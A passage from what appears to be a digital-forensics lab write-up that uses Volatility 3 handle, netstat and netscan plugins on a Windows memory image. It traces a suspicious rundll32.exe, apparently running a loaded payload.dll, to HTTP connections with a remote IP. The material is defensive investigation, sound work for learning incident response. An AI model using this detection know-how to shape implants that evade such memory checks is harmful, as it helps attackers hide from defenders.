3648 rundll32.exe 0x800ae0235080 0x574 Thread 0x1fffff Tid 1748 Pid 3648
3648 rundll32.exe 0x800ae44dbc70 0x5b4 File 0x100020 \Device\HarddiskVolume3\Users\johndoe\Desktop
PS C:\Users\johndoe\Desktop\volatility3-develop>
- PID 3648 had an open handle to the user’s Desktop directory:
\Device\HarddiskVolume3\Users\johndoe\DesktopThis shows directory access, but not the exact file accessed. - It accessed network-related registry locations:
- Winsock protocol catalog
- TCP/IP interfaces
- TCP/IPv6 interfaces
- It accessed the user’s Internet Settings and cache registry keys.
- It had an open handle to
\Device\NamedPipe\, showing named-pipe interaction, but no specific pipe name was recovered. - There was no open handle to
payload.dllin this output. The DLL handle may already have been closed after loading.
Handles conclusion: PID 3648 interacted with the Desktop directory, networking configuration, Internet settings/cache, and named pipes. The plugin does not show the exact Desktop file or a specific network destination.
Pivoting to Network Connections
windows.netstat plugin can traverse network tracking structures to help us analyze connection details within a memory image.
PS C:\Users\johndoe\Desktop\volatility3-develop> python vol.py -q -f ..\memdump\PhysicalMemory.raw windows.netstat
Volatility 3 Framework 2.5.0
Offset Proto LocalAddr LocalPort ForeignAddr ForeignPort State PID Owner Created
0x800ae1b6c050 TCPv4 192.168.152.134 52797 142.250.186.195 443 ESTABLISHED 2784 chrome.exe 2023-08-10 09:33:33.000000
0x800ae21ae320 TCPv4 192.168.152.134 49712 96.16.54.99 443 CLOSE_WAIT 2440 WWAHost.exe 2023-08-10 00:24:11.000000
0x800ae0e914b0 TCPv4 192.168.152.134 52810 44.214.212.249 80 LAST_ACK 3648 rundll32.exe 2023-08-10 09:33:36.000000
0x800ae21ac1e0 TCPv4 192.168.152.134 52834 142.250.203.202 443 ESTABLISHED 2784 chrome.exe 2023-08-10 09:33:45.000000
0x800adbec6a20 TCPv4 192.168.152.134 49855 192.229.221.95 80 CLOSE_WAIT 6908 SkypeApp.exe 2023-08-10 09:10:29.000000
0x800ae17a8b60 TCPv4 192.168.152.134 53111 140.82.121.3 443 ESTABLISHED 7820 Velociraptor.e 2023-08-10 09:35:39.000000
0x800ae25dba20 TCPv4 192.168.152.134 49709 96.16.54.99 443 CLOSE_WAIT 2440 WWAHost.exe 2023-08-10 00:24:11.000000
0x800adf4e3010 TCPv4 192.168.152.134 53114 185.199.109.133 443 ESTABLISHED 7820 Velociraptor.e 2023-08-10 09:35:39.000000
0x800ae07f0260 TCPv4 192.168.152.134 52686 142.250.203.202 443 ESTABLISHED 2784 chrome.exe 2023-08-10 09:32:47.000000
0x800ae1387740 TCPv4 192.168.152.134 49710 96.16.54.99 443 CLOSE_WAIT 2440 WWAHost.exe 2023-08-10 00:24:11.000000
0x800ae113e010 TCPv4 192.168.152.134 53118 44.214.212.249 80 ESTABLISHED 3648 rundll32.exe 2023-08-10 09:35:41.000000
0x800ae2d1eb60 TCPv4 192.168.152.134 49856 104.81.60.16 80 CLOSE_WAIT 6908 SkypeApp.exe 2023-08-10 09:10:32.000000
0x800ae016d8a0 TCPv4 192.168.152.134 49852 40.115.3.253 443 ESTABLISHED 440 svchost.exe 2023-08-10 09:10:26.000000
0x800ae16df010 TCPv4 192.168.152.134 49714 96.16.54.99 443 CLOSE_WAIT 2440 WWAHost.exe 2023-08-10 00:24:11.000000
0x800ae1121940 TCPv4 192.168.152.134 49862 192.168.152.133 8000 ESTABLISHED 7820 Velociraptor.e 2023-08-10 09:11:16.000000
0x800ae13e6a70 TCPv4 192.168.152.134 49876 40.115.3.253 443 ESTABLISHED 440 svchost.exe 2023-08-10 09:11:22.000000
0x800ae1319b60 TCPv4 192.168.152.134 52814 34.104.35.123 80 ESTABLISHED 440 svchost.exe 2023-08-10 09:33:37.000000
0x800ae26a5050 TCPv4 192.168.152.134 52683 142.250.203.202 443 ESTABLISHED 2784 chrome.exe 2023-08-10 09:32:47.000000
0x800ade79a630 TCPv4 192.168.152.134 49713 96.16.54.99 443 CLOSE_WAIT 2440 WWAHost.exe 2023-08-10 00:24:11.000000
0x800ae1350a40 TCPv4 192.168.152.134 49711 96.16.54.99 443 CLOSE_WAIT 2440 WWAHost.exe 2023-08-10 00:24:11.000000
0x800ae134f730 TCPv4 192.168.152.134 49705 192.229.221.95 80 CLOSE_WAIT 2440 WWAHost.exe 2023-08-10 00:24:11.000000
0x800adeb254f0 TCPv4 0.0.0.0 135 0.0.0.0 0 LISTENING 884 svchost.exe 2023-08-10 00:22:56.000000
0x800adeb254f0 TCPv6 :: 135 :: 0 LISTENING 884 svchost.exe 2023-08-10 00:22:56.000000
0x800adeb24310 TCPv4 0.0.0.0 135 0.0.0.0 0 LISTENING 884 svchost.exe 2023-08-10 00:22:56.000000
0x800ae0b8c310 TCPv4 192.168.152.134 139 0.0.0.0 0 LISTENING 4 System 2023-08-10 09:10:18.000000
0x800adb8979f0 TCPv4 0.0.0.0 445 0.0.0.0 0 LISTENING 4 System 2023-08-10 00:22:58.000000
0x800adb8979f0 TCPv6 :: 445 :: 0 LISTENING 4 System 2023-08-10 00:22:58.000000
0x800ae07fb9f0 TCPv4 0.0.0.0 5040 0.0.0.0 0 LISTENING 1172 svchost.exe 2023-08-10 00:23:01.000000
0x800ae15a39f0 TCPv4 0.0.0.0 5357 0.0.0.0 0 LISTENING 4 System 2023-08-10 00:23:14.000000
0x800ae15a39f0 TCPv6 :: 5357 :: 0 LISTENING 4 System 2023-08-10 00:23:14.000000
0x800adeb24cb0 TCPv4 0.0.0.0 49664 0.0.0.0 0 LISTENING 660 lsass.exe 2023-08-10 00:22:56.000000
0x800adeb24cb0 TCPv6 :: 49664 :: 0 LISTENING 660 lsass.exe 2023-08-10 00:22:56.000000
0x800adeb24730 TCPv4 0.0.0.0 49664 0.0.0.0 0 LISTENING 660 lsass.exe 2023-08-10 00:22:56.000000
0x800adeb24470 TCPv4 0.0.0.0 49665 0.0.0.0 0 LISTENING 492 wininit.exe 2023-08-10 00:22:56.000000
0x800adeb24470 TCPv6 :: 49665 :: 0 LISTENING 492 wininit.exe 2023-08-10 00:22:56.000000
0x800adbed9bd0 TCPv4 0.0.0.0 49665 0.0.0.0 0 LISTENING 492 wininit.exe 2023-08-10 00:22:56.000000
0x800adeb24050 TCPv4 0.0.0.0 49666 0.0.0.0 0 LISTENING 360 svchost.exe 2023-08-10 00:22:56.000000
0x800adeb24050 TCPv6 :: 49666 :: 0 LISTENING 360 svchost.exe 2023-08-10 00:22:56.000000
0x800adeb24890 TCPv4 0.0.0.0 49666 0.0.0.0 0 LISTENING 360 svchost.exe 2023-08-10 00:22:56.000000
0x800adeb257b0 TCPv4 0.0.0.0 49667 0.0.0.0 0 LISTENING 440 svchost.exe 2023-08-10 00:22:56.000000
0x800adeb257b0 TCPv6 :: 49667 :: 0 LISTENING 440 svchost.exe 2023-08-10 00:22:56.000000
0x800adeb25650 TCPv4 0.0.0.0 49667 0.0.0.0 0 LISTENING 440 svchost.exe 2023-08-10 00:22:56.000000
0x800adb897310 TCPv4 0.0.0.0 49668 0.0.0.0 0 LISTENING 1788 spoolsv.exe 2023-08-10 00:22:57.000000
0x800adb897310 TCPv6 :: 49668 :: 0 LISTENING 1788 spoolsv.exe 2023-08-10 00:22:57.000000
0x800adb8971b0 TCPv4 0.0.0.0 49668 0.0.0.0 0 LISTENING 1788 spoolsv.exe 2023-08-10 00:22:57.000000
0x800adb8975d0 TCPv4 0.0.0.0 49669 0.0.0.0 0 LISTENING 632 services.exe 2023-08-10 00:22:58.000000
0x800adb8975d0 TCPv6 :: 49669 :: 0 LISTENING 632 services.exe 2023-08-10 00:22:58.000000
0x800adb897e10 TCPv4 0.0.0.0 49669 0.0.0.0 0 LISTENING 632 services.exe 2023-08-10 00:22:58.000000
0x800ae0b8d7b0 TCPv4 0.0.0.0 49731 0.0.0.0 0 LISTENING 8024 svchost.exe 2023-08-10 00:24:59.000000
0x800ae0b8d7b0 TCPv6 :: 49731 :: 0 LISTENING 8024 svchost.exe 2023-08-10 00:24:59.000000
0x800ae0b8ccb0 TCPv4 0.0.0.0 49731 0.0.0.0 0 LISTENING 8024 svchost.exe 2023-08-10 00:24:59.000000
0x800ae2203a70 UDPv4 192.168.152.134 137 * 0 4 System 2023-08-10 09:10:18.000000
0x800ae22043d0 UDPv4 192.168.152.134 138 * 0 4 System 2023-08-10 09:10:18.000000
0x800ae1a0b900 UDPv4 0.0.0.0 500 * 0 440 svchost.exe 2023-08-10 00:24:58.000000
0x800ae1a0b900 UDPv6 :: 500 * 0 440 svchost.exe 2023-08-10 00:24:58.000000
0x800ae1f17480 UDPv4 0.0.0.0 500 * 0 440 svchost.exe 2023-08-10 00:24:58.000000
0x800ae1a16990 UDPv6 fe80::98f6:8cdd:2543:684b 1900 * 0 1996 svchost.exe 2023-08-10 00:23:15.000000
0x800ae1a17480 UDPv6 ::1 1900 * 0 1996 svchost.exe 2023-08-10 00:23:15.000000
0x800ae1a172f0 UDPv4 192.168.152.134 1900 * 0 1996 svchost.exe 2023-08-10 00:23:15.000000
0x800ae1a18d80 UDPv4 127.0.0.1 1900 * 0 1996 svchost.exe 2023-08-10 00:23:15.000000
0x800ae1a0fc30 UDPv4 0.0.0.0 3702 * 0 1996 svchost.exe 2023-08-10 00:23:14.000000
0x800ae1a0fc30 UDPv6 :: 3702 * 0 1996 svchost.exe 2023-08-10 00:23:14.000000
0x800ae1a10590 UDPv4 0.0.0.0 3702 * 0 1996 svchost.exe 2023-08-10 00:23:14.000000
0x800ae1a10590 UDPv6 :: 3702 * 0 1996 svchost.exe 2023-08-10 00:23:14.000000
0x800ae2202300 UDPv4 0.0.0.0 3702 * 0 1584 dasHost.exe 2023-08-10 09:10:17.000000
0x800ae2202300 UDPv6 :: 3702 * 0 1584 dasHost.exe 2023-08-10 09:10:17.000000
0x800ae2204560 UDPv4 0.0.0.0 3702 * 0 1584 dasHost.exe 2023-08-10 09:10:17.000000
0x800ae2204560 UDPv6 :: 3702 * 0 1584 dasHost.exe 2023-08-10 09:10:17.000000
0x800ae1a10270 UDPv4 0.0.0.0 3702 * 0 1996 svchost.exe 2023-08-10 00:23:14.000000
0x800ae1a0faa0 UDPv4 0.0.0.0 3702 * 0 1996 svchost.exe 2023-08-10 00:23:14.000000
0x800ae2203430 UDPv4 0.0.0.0 3702 * 0 1584 dasHost.exe 2023-08-10 09:10:17.000000
0x800ae2205050 UDPv4 0.0.0.0 3702 * 0 1584 dasHost.exe 2023-08-10 09:10:17.000000
0x800ae1a0e7e0 UDPv4 0.0.0.0 4500 * 0 440 svchost.exe 2023-08-10 00:24:58.000000
0x800ae1a0e7e0 UDPv6 :: 4500 * 0 440 svchost.exe 2023-08-10 00:24:58.000000
0x800ae1f3c4b0 UDPv4 0.0.0.0 4500 * 0 440 svchost.exe 2023-08-10 00:24:58.000000
0x800ae0a77c30 UDPv4 0.0.0.0 5050 * 0 1172 svchost.exe 2023-08-10 00:23:00.000000
0x800ae2202940 UDPv4 0.0.0.0 5353 * 0 1272 svchost.exe 2023-08-10 09:10:18.000000
0x800ae2202940 UDPv6 :: 5353 * 0 1272 svchost.exe 2023-08-10 09:10:18.000000
0x800ae22032a0 UDPv4 0.0.0.0 5353 * 0 1272 svchost.exe 2023-08-10 09:10:18.000000
0x800ae0e38ca0 UDPv4 0.0.0.0 5353 * 0 892 chrome.exe 2023-08-10 09:32:37.000000
0x800ae0e37b70 UDPv4 0.0.0.0 5353 * 0 892 chrome.exe 2023-08-10 09:32:37.000000
0x800ae0e37b70 UDPv6 :: 5353 * 0 892 chrome.exe 2023-08-10 09:32:37.000000
0x800ae1f032a0 UDPv4 0.0.0.0 5355 * 0 1272 svchost.exe 2023-08-10 09:25:16.000000
0x800ae1f032a0 UDPv6 :: 5355 * 0 1272 svchost.exe 2023-08-10 09:25:16.000000
0x800ae1f03a70 UDPv4 0.0.0.0 5355 * 0 1272 svchost.exe 2023-08-10 09:25:16.000000
0x800ae1a108b0 UDPv4 0.0.0.0 49562 * 0 1996 svchost.exe 2023-08-10 00:23:14.000000
0x800ae1a113a0 UDPv4 0.0.0.0 49563 * 0 1996 svchost.exe 2023-08-10 00:23:14.000000
0x800ae1a113a0 UDPv6 :: 49563 * 0 1996 svchost.exe 2023-08-10 00:23:14.000000
0x800ae0e373a0 UDPv4 0.0.0.0 55185 * 0 2784 chrome.exe 2023-08-10 09:33:49.000000
0x800ae05c4280 UDPv4 127.0.0.1 62675 * 0 440 svchost.exe 2023-08-10 00:22:58.000000
0x800ae2204880 UDPv4 0.0.0.0 63077 * 0 1584 dasHost.exe 2023-08-10 09:10:17.000000
0x800ae22038e0 UDPv4 0.0.0.0 63078 * 0 1584 dasHost.exe 2023-08-10 09:10:17.000000
0x800ae22038e0 UDPv6 :: 63078 * 0 1584 dasHost.exe 2023-08-10 09:10:17.000000
0x800ae1a15860 UDPv6 fe80::98f6:8cdd:2543:684b 63379 * 0 1996 svchost.exe 2023-08-10 00:23:15.000000
0x800ae1a16800 UDPv6 ::1 63380 * 0 1996 svchost.exe 2023-08-10 00:23:15.000000
0x800ae1a15b80 UDPv4 192.168.152.134 63381 * 0 1996 svchost.exe 2023-08-10 00:23:15.000000
0x800ae1a164e0 UDPv4 127.0.0.1 63382 * 0 1996 svchost.exe 2023-08-10 00:23:15.000000
0x800ae1f02c60 UDPv4 0.0.0.0 65457 * 0 6908 SkypeApp.exe 2023-08-10 09:10:31.000000
0x800ae1f02c60 UDPv6 :: 65457 * 0 6908 SkypeApp.exe 2023-08-10 09:10:31.000000
For PID 3648, windows.netstat found two outbound connections to:
44.214.212.249:80
- Local port
52810→LAST_ACK - Local port
53118→ESTABLISHED
This confirms the suspicious rundll32.exe was actively communicating over HTTP with remote IP 44.214.212.249
For a deeper scan, windows.netscan searches memory for network objects and may recover:
- active connections
- closed connections
- older/stale connections
- entries whose owning process may already be gone
PS C:\Users\johndoe\Desktop\volatility3-develop> python vol.py -q -f ..\memdump\PhysicalMemory.raw windows.netscan
Volatility 3 Framework 2.5.0
Offset Proto LocalAddr LocalPort ForeignAddr ForeignPort State PID Owner Created
0x800adb8971b0 TCPv4 0.0.0.0 49668 0.0.0.0 0 LISTENING 1788 spoolsv.exe 2023-08-10 00:22:57.000000
0x800adb897310 TCPv4 0.0.0.0 49668 0.0.0.0 0 LISTENING 1788 spoolsv.exe 2023-08-10 00:22:57.000000
0x800adb897310 TCPv6 :: 49668 :: 0 LISTENING 1788 spoolsv.exe 2023-08-10 00:22:57.000000
0x800adb8975d0 TCPv4 0.0.0.0 49669 0.0.0.0 0 LISTENING 632 services.exe 2023-08-10 00:22:58.000000
0x800adb8975d0 TCPv6 :: 49669 :: 0 LISTENING 632 services.exe 2023-08-10 00:22:58.000000
0x800adb8979f0 TCPv4 0.0.0.0 445 0.0.0.0 0 LISTENING 4 System 2023-08-10 00:22:58.000000
0x800adb8979f0 TCPv6 :: 445 :: 0 LISTENING 4 System 2023-08-10 00:22:58.000000
0x800adb897e10 TCPv4 0.0.0.0 49669 0.0.0.0 0 LISTENING 632 services.exe 2023-08-10 00:22:58.000000
0x800adbec6a20 TCPv4 192.168.152.134 49855 192.229.221.95 80 CLOSE_WAIT 6908 SkypeApp.exe 2023-08-10 09:10:29.000000
0x800adbed9bd0 TCPv4 0.0.0.0 49665 0.0.0.0 0 LISTENING 492 wininit.exe 2023-08-10 00:22:56.000000
0x800ade6fe010 TCPv4 192.168.152.134 49702 13.107.6.156 443 CLOSED 2440 WWAHost.exe 2023-08-10 00:24:11.000000
0x800ade79a630 TCPv4 192.168.152.134 49713 96.16.54.99 443 CLOSE_WAIT 2440 WWAHost.exe 2023-08-10 00:24:11.000000
0x800adeb24050 TCPv4 0.0.0.0 49666 0.0.0.0 0 LISTENING 360 svchost.exe 2023-08-10 00:22:56.000000
0x800adeb24050 TCPv6 :: 49666 :: 0 LISTENING 360 svchost.exe 2023-08-10 00:22:56.000000
0x800adeb24310 TCPv4 0.0.0.0 135 0.0.0.0 0 LISTENING 884 svchost.exe 2023-08-10 00:22:56.000000
0x800adeb24470 TCPv4 0.0.0.0 49665 0.0.0.0 0 LISTENING 492 wininit.exe 2023-08-10 00:22:56.000000
0x800adeb24470 TCPv6 :: 49665 :: 0 LISTENING 492 wininit.exe 2023-08-10 00:22:56.000000
0x800adeb24730 TCPv4 0.0.0.0 49664 0.0.0.0 0 LISTENING 660 lsass.exe 2023-08-10 00:22:56.000000
0x800adeb24890 TCPv4 0.0.0.0 49666 0.0.0.0 0 LISTENING 360 svchost.exe 2023-08-10 00:22:56.000000
0x800adeb24cb0 TCPv4 0.0.0.0 49664 0.0.0.0 0 LISTENING 660 lsass.exe 2023-08-10 00:22:56.000000
0x800adeb24cb0 TCPv6 :: 49664 :: 0 LISTENING 660 lsass.exe 2023-08-10 00:22:56.000000
0x800adeb254f0 TCPv4 0.0.0.0 135 0.0.0.0 0 LISTENING 884 svchost.exe 2023-08-10 00:22:56.000000
0x800adeb254f0 TCPv6 :: 135 :: 0 LISTENING 884 svchost.exe 2023-08-10 00:22:56.000000
0x800adeb25650 TCPv4 0.0.0.0 49667 0.0.0.0 0 LISTENING 440 svchost.exe 2023-08-10 00:22:56.000000
0x800adeb257b0 TCPv4 0.0.0.0 49667 0.0.0.0 0 LISTENING 440 svchost.exe 2023-08-10 00:22:56.000000
0x800adeb257b0 TCPv6 :: 49667 :: 0 LISTENING 440 svchost.exe 2023-08-10 00:22:56.000000
0x800adf4e3010 TCPv4 192.168.152.134 53114 185.199.109.133 443 ESTABLISHED 7820 Velociraptor.e 2023-08-10 09:35:39.000000
0x800ae00c8c30 UDPv4 0.0.0.0 0 * 0 6744 powershell.exe 2023-08-10 09:21:20.000000
0x800ae016d8a0 TCPv4 192.168.152.134 49852 40.115.3.253 443 ESTABLISHED 440 svchost.exe 2023-08-10 09:10:26.000000
0x800ae01d3d20 UDPv4 0.0.0.0 0 * 0 - - 2023-08-10 00:30:31.000000
0x800ae01d6110 UDPv4 192.168.152.134 137 * 0 4 System 2023-08-10 00:22:56.000000
0x800ae01d6430 UDPv4 0.0.0.0 0 * 0 - - 2023-08-10 00:30:31.000000
0x800ae01d6430 UDPv6 :: 0 * 0 - - 2023-08-10 00:30:31.000000
0x800ae01d7a10 UDPv4 192.168.152.134 138 * 0 4 System 2023-08-10 00:22:56.000000
0x800ae02cb0a0 UDPv4 0.0.0.0 5353 * 0 1272 svchost.exe 2023-08-10 00:22:56.000000
0x800ae02cb0a0 UDPv6 :: 5353 * 0 1272 svchost.exe 2023-08-10 00:22:56.000000
0x800ae02cb550 UDPv4 0.0.0.0 0 * 0 1272 svchost.exe 2023-08-10 00:22:56.000000
0x800ae02cb550 UDPv6 :: 0 * 0 1272 svchost.exe 2023-08-10 00:22:56.000000
0x800ae02cb870 UDPv4 0.0.0.0 5353 * 0 1272 svchost.exe 2023-08-10 00:22:56.000000
0x800ae02cbb90 UDPv4 0.0.0.0 5355 * 0 1272 svchost.exe 2023-08-10 00:22:56.000000
0x800ae02cbb90 UDPv6 :: 5355 * 0 1272 svchost.exe 2023-08-10 00:22:56.000000
0x800ae02cbd20 UDPv4 0.0.0.0 5355 * 0 1272 svchost.exe 2023-08-10 00:22:56.000000
0x800ae05c13a0 UDPv4 0.0.0.0 0 * 0 - - 2023-08-10 00:32:20.000000
0x800ae05c13a0 UDPv6 :: 0 * 0 - - 2023-08-10 00:32:20.000000
0x800ae05c4280 UDPv4 127.0.0.1 62675 * 0 440 svchost.exe 2023-08-10 00:22:58.000000
0x800ae07f0260 TCPv4 192.168.152.134 52686 142.250.203.202 443 ESTABLISHED 2784 chrome.exe 2023-08-10 09:32:47.000000
0x800ae07fb9f0 TCPv4 0.0.0.0 5040 0.0.0.0 0 LISTENING 1172 svchost.exe 2023-08-10 00:23:01.000000
0x800ae0a77c30 UDPv4 0.0.0.0 5050 * 0 1172 svchost.exe 2023-08-10 00:23:00.000000
0x800ae0b8c310 TCPv4 192.168.152.134 139 0.0.0.0 0 LISTENING 4 System 2023-08-10 09:10:18.000000
0x800ae0b8ccb0 TCPv4 0.0.0.0 49731 0.0.0.0 0 LISTENING 8024 svchost.exe 2023-08-10 00:24:59.000000
0x800ae0b8d7b0 TCPv4 0.0.0.0 49731 0.0.0.0 0 LISTENING 8024 svchost.exe 2023-08-10 00:24:59.000000
0x800ae0b8d7b0 TCPv6 :: 49731 :: 0 LISTENING 8024 svchost.exe 2023-08-10 00:24:59.000000
0x800ae0bf6a40 UDPv4 0.0.0.0 0 * 0 - - 2023-08-10 00:30:31.000000
0x800ae0c53010 TCPv4 192.168.152.134 53116 44.214.212.249 80 CLOSED 6744 powershell.exe 2023-08-10 09:35:41.000000
0x800ae0e360e0 UDPv4 0.0.0.0 0 * 0 7820 Velociraptor.e 2023-08-10 09:35:20.000000
0x800ae0e360e0 UDPv6 :: 0 * 0 7820 Velociraptor.e 2023-08-10 09:35:20.000000
0x800ae0e36720 UDPv4 0.0.0.0 55396 * 0 1272 svchost.exe 2023-08-10 09:35:39.000000
0x800ae0e36720 UDPv6 :: 55396 * 0 1272 svchost.exe 2023-08-10 09:35:39.000000
0x800ae0e36d60 UDPv4 0.0.0.0 0 * 0 7820 Velociraptor.e 2023-08-10 09:35:20.000000
0x800ae0e36d60 UDPv6 :: 0 * 0 7820 Velociraptor.e 2023-08-10 09:35:20.000000
0x800ae0e373a0 UDPv4 0.0.0.0 55185 * 0 2784 chrome.exe 2023-08-10 09:33:49.000000
0x800ae0e37b70 UDPv4 0.0.0.0 5353 * 0 892 chrome.exe 2023-08-10 09:32:37.000000
0x800ae0e37b70 UDPv6 :: 5353 * 0 892 chrome.exe 2023-08-10 09:32:37.000000
0x800ae0e384d0 UDPv4 0.0.0.0 50396 * 0 1272 svchost.exe 2023-08-10 09:35:16.000000
0x800ae0e384d0 UDPv6 :: 50396 * 0 1272 svchost.exe 2023-08-10 09:35:16.000000
0x800ae0e38b10 UDPv4 0.0.0.0 0 * 0 440 svchost.exe 2023-08-10 09:35:16.000000
0x800ae0e38b10 UDPv6 :: 0 * 0 440 svchost.exe 2023-08-10 09:35:16.000000
0x800ae0e38ca0 UDPv4 0.0.0.0 5353 * 0 892 chrome.exe 2023-08-10 09:32:37.000000
0x800ae0e44050 UDPv4 0.0.0.0 0 * 0 3648 rundll32.exe 2023-08-10 00:32:02.000000
0x800ae0e44370 UDPv4 0.0.0.0 5355 * 0 1272 svchost.exe 2023-08-10 00:32:05.000000
0x800ae0e44820 UDPv4 0.0.0.0 55476 * 0 1272 svchost.exe 2023-08-10 00:32:05.000000
0x800ae0e44820 UDPv6 :: 55476 * 0 1272 svchost.exe 2023-08-10 00:32:05.000000
0x800ae0e44b40 UDPv4 0.0.0.0 0 * 0 3648 rundll32.exe 2023-08-10 00:32:02.000000
0x800ae0e44b40 UDPv6 :: 0 * 0 3648 rundll32.exe 2023-08-10 00:32:02.000000
0x800ae0e914b0 TCPv4 192.168.152.134 52810 44.214.212.249 80 LAST_ACK 3648 rundll32.exe 2023-08-10 09:33:36.000000
0x800ae0f50950 UDPv4 0.0.0.0 0 * 0 1172 svchost.exe 2023-08-10 00:32:14.000000
0x800ae0f50950 UDPv6 :: 0 * 0 1172 svchost.exe 2023-08-10 00:32:14.000000
0x800ae0f89520 UDPv4 0.0.0.0 5355 * 0 1272 svchost.exe 2023-08-10 00:31:56.000000
0x800ae1121940 TCPv4 192.168.152.134 49862 192.168.152.133 8000 ESTABLISHED 7820 Velociraptor.e 2023-08-10 09:11:16.000000
0x800ae113e010 TCPv4 192.168.152.134 53118 44.214.212.249 80 ESTABLISHED 3648 rundll32.exe 2023-08-10 09:35:41.000000
0x800ae12b5a20 TCPv4 192.168.152.134 49853 52.123.245.168 443 CLOSED 6908 SkypeApp.exe 2023-08-10 09:10:29.000000
0x800ae1319b60 TCPv4 192.168.152.134 52814 34.104.35.123 80 ESTABLISHED 440 svchost.exe 2023-08-10 09:33:37.000000
0x800ae134f730 TCPv4 192.168.152.134 49705 192.229.221.95 80 CLOSE_WAIT 2440 WWAHost.exe 2023-08-10 00:24:11.000000
0x800ae1350a40 TCPv4 192.168.152.134 49711 96.16.54.99 443 CLOSE_WAIT 2440 WWAHost.exe 2023-08-10 00:24:11.000000
0x800ae1387740 TCPv4 192.168.152.134 49710 96.16.54.99 443 CLOSE_WAIT 2440 WWAHost.exe 2023-08-10 00:24:11.000000
0x800ae13a98a0 TCPv4 192.168.152.134 53115 44.214.212.249 80 CLOSED 5468 rundll32.exe 2023-08-10 09:35:40.000000
0x800ae13ab050 TCPv4 192.168.152.134 49858 52.168.112.66 443 CLOSED 6908 SkypeApp.exe 2023-08-10 09:10:47.000000
0x800ae13e6a70 TCPv4 192.168.152.134 49876 40.115.3.253 443 ESTABLISHED 440 svchost.exe 2023-08-10 09:11:22.000000
0x800ae15a39f0 TCPv4 0.0.0.0 5357 0.0.0.0 0 LISTENING 4 System 2023-08-10 00:23:14.000000
0x800ae15a39f0 TCPv6 :: 5357 :: 0 LISTENING 4 System 2023-08-10 00:23:14.000000
0x800ae16331d0 UDPv4 0.0.0.0 0 * 0 - - 2023-08-10 00:30:31.000000
0x800ae16331d0 UDPv6 :: 0 * 0 - - 2023-08-10 00:30:31.000000
0x800ae16df010 TCPv4 192.168.152.134 49714 96.16.54.99 443 CLOSE_WAIT 2440 WWAHost.exe 2023-08-10 00:24:11.000000
0x800ae17a8b60 TCPv4 192.168.152.134 53111 140.82.121.3 443 ESTABLISHED 7820 Velociraptor.e 2023-08-10 09:35:39.000000
0x800ae1a0b900 UDPv4 0.0.0.0 500 * 0 440 svchost.exe 2023-08-10 00:24:58.000000
0x800ae1a0b900 UDPv6 :: 500 * 0 440 svchost.exe 2023-08-10 00:24:58.000000
0x800ae1a0e7e0 UDPv4 0.0.0.0 4500 * 0 440 svchost.exe 2023-08-10 00:24:58.000000
0x800ae1a0e7e0 UDPv6 :: 4500 * 0 440 svchost.exe 2023-08-10 00:24:58.000000
0x800ae1a0faa0 UDPv4 0.0.0.0 3702 * 0 1996 svchost.exe 2023-08-10 00:23:14.000000
0x800ae1a0fc30 UDPv4 0.0.0.0 3702 * 0 1996 svchost.exe 2023-08-10 00:23:14.000000
0x800ae1a0fc30 UDPv6 :: 3702 * 0 1996 svchost.exe 2023-08-10 00:23:14.000000
0x800ae1a10270 UDPv4 0.0.0.0 3702 * 0 1996 svchost.exe 2023-08-10 00:23:14.000000
0x800ae1a10590 UDPv4 0.0.0.0 3702 * 0 1996 svchost.exe 2023-08-10 00:23:14.000000
0x800ae1a10590 UDPv6 :: 3702 * 0 1996 svchost.exe 2023-08-10 00:23:14.000000
0x800ae1a108b0 UDPv4 0.0.0.0 49562 * 0 1996 svchost.exe 2023-08-10 00:23:14.000000
0x800ae1a113a0 UDPv4 0.0.0.0 49563 * 0 1996 svchost.exe 2023-08-10 00:23:14.000000
0x800ae1a113a0 UDPv6 :: 49563 * 0 1996 svchost.exe 2023-08-10 00:23:14.000000
0x800ae1a15860 UDPv6 fe80::98f6:8cdd:2543:684b 63379 * 0 1996 svchost.exe 2023-08-10 00:23:15.000000
0x800ae1a15b80 UDPv4 192.168.152.134 63381 * 0 1996 svchost.exe 2023-08-10 00:23:15.000000
0x800ae1a164e0 UDPv4 127.0.0.1 63382 * 0 1996 svchost.exe 2023-08-10 00:23:15.000000
0x800ae1a16800 UDPv6 ::1 63380 * 0 1996 svchost.exe 2023-08-10 00:23:15.000000
0x800ae1a16990 UDPv6 fe80::98f6:8cdd:2543:684b 1900 * 0 1996 svchost.exe 2023-08-10 00:23:15.000000
0x800ae1a172f0 UDPv4 192.168.152.134 1900 * 0 1996 svchost.exe 2023-08-10 00:23:15.000000
0x800ae1a17480 UDPv6 ::1 1900 * 0 1996 svchost.exe 2023-08-10 00:23:15.000000
0x800ae1a18d80 UDPv4 127.0.0.1 1900 * 0 1996 svchost.exe 2023-08-10 00:23:15.000000
0x800ae1a25260 UDPv4 0.0.0.0 0 * 0 - - 2023-08-10 00:31:09.000000
0x800ae1a25260 UDPv6 :: 0 * 0 - - 2023-08-10 00:31:09.000000
0x800ae1a26840 UDPv4 0.0.0.0 0 * 0 - - 2023-08-10 00:31:09.000000
0x800ae1a29bd0 UDPv4 0.0.0.0 0 * 0 - - 2023-08-10 00:31:10.000000
0x800ae1a2a3a0 UDPv4 0.0.0.0 0 * 0 - - 2023-08-10 00:31:10.000000
0x800ae1a2a3a0 UDPv6 :: 0 * 0 - - 2023-08-10 00:31:10.000000
0x800ae1b6c050 TCPv4 192.168.152.134 52797 142.250.186.195 443 ESTABLISHED 2784 chrome.exe 2023-08-10 09:33:33.000000
0x800ae1cebdf0 UDPv4 0.0.0.0 0 * 0 8024 svchost.exe 2023-08-10 00:24:59.000000
0x800ae1cebdf0 UDPv6 :: 0 * 0 8024 svchost.exe 2023-08-10 00:24:59.000000
0x800ae1f02300 UDPv4 0.0.0.0 56456 * 0 1272 svchost.exe 2023-08-10 09:32:33.000000
0x800ae1f02300 UDPv6 :: 56456 * 0 1272 svchost.exe 2023-08-10 09:32:33.000000
0x800ae1f02ad0 UDPv4 0.0.0.0 55383 * 0 2784 chrome.exe 2023-08-10 09:32:34.000000
0x800ae1f02c60 UDPv4 0.0.0.0 65457 * 0 6908 SkypeApp.exe 2023-08-10 09:10:31.000000
0x800ae1f02c60 UDPv6 :: 65457 * 0 6908 SkypeApp.exe 2023-08-10 09:10:31.000000
0x800ae1f032a0 UDPv4 0.0.0.0 5355 * 0 1272 svchost.exe 2023-08-10 09:25:16.000000
0x800ae1f032a0 UDPv6 :: 5355 * 0 1272 svchost.exe 2023-08-10 09:25:16.000000
0x800ae1f035c0 UDPv4 192.168.152.134 63643 * 0 892 chrome.exe 2023-08-10 09:32:33.000000
